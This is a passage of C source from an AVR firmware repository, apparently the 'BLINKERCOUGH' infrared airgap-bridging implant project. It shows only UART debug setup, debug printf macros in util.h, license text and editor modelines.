38 | } 39 | 40 | void init_debug() { 41 | fdevopen(&uart_putchar, &uart_getchar); 42 | } 43 | 44 | 45 | // void debug(char *fmt, ...) 46 | // { 47 | // printf_P(PSTR("DBG: ")); 48 | 49 | // putchar('\n'); 50 | // } 51 | 52 | 53 | /* 54 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 55 | * 56 | * Local variables: 57 | * mode: c++ 58 | * c-basic-offset: 4 59 | * tab-width: 8 60 | * indent-tabs-mode: nil 61 | * End: 62 | * 63 | * vi: set shiftwidth=4 tabstop=8 expandtab: 64 | * :indentSize=4:tabSize=8:noTabs=true: 65 | */ 66 | -------------------------------------------------------------------------------- /util.h: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #ifndef _UTIL_H 22 | #define _UTIL_H 23 | 24 | #include 25 | #include 26 | 27 | void init_debug(); 28 | 29 | #define debug(fmt, ...) { printf_P(PSTR("DBG: ")); printf_P(PSTR(fmt), ##__VA_ARGS__); putchar('\n'); } 30 | 31 | #define debugstart(fmt, ...) { printf_P(PSTR("DBG: ")); printf_P(PSTR(fmt), ##__VA_ARGS__); } 32 | 33 | #define debugcont(fmt, ...) { printf_P(PSTR(fmt), ##__VA_ARGS__); } 34 | 35 | #define debugend() putchar('\n'); 36 | 37 | #endif /* _UTIL_H */ 38 | 39 | /* 40 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 41 | * 42 | * Local variables: 43 | * mode: c++ 44 | * c-basic-offset: 4 45 | * tab-width: 8 46 | * indent-tabs-mode: nil 47 | * End: 48 | * 49 | * vi: set shiftwidth=4 tabstop=8 expandtab: 50 | * :indentSize=4:tabSize=8:noTabs=true: 51 | */ 52 | --------------------------------------------------------------------------------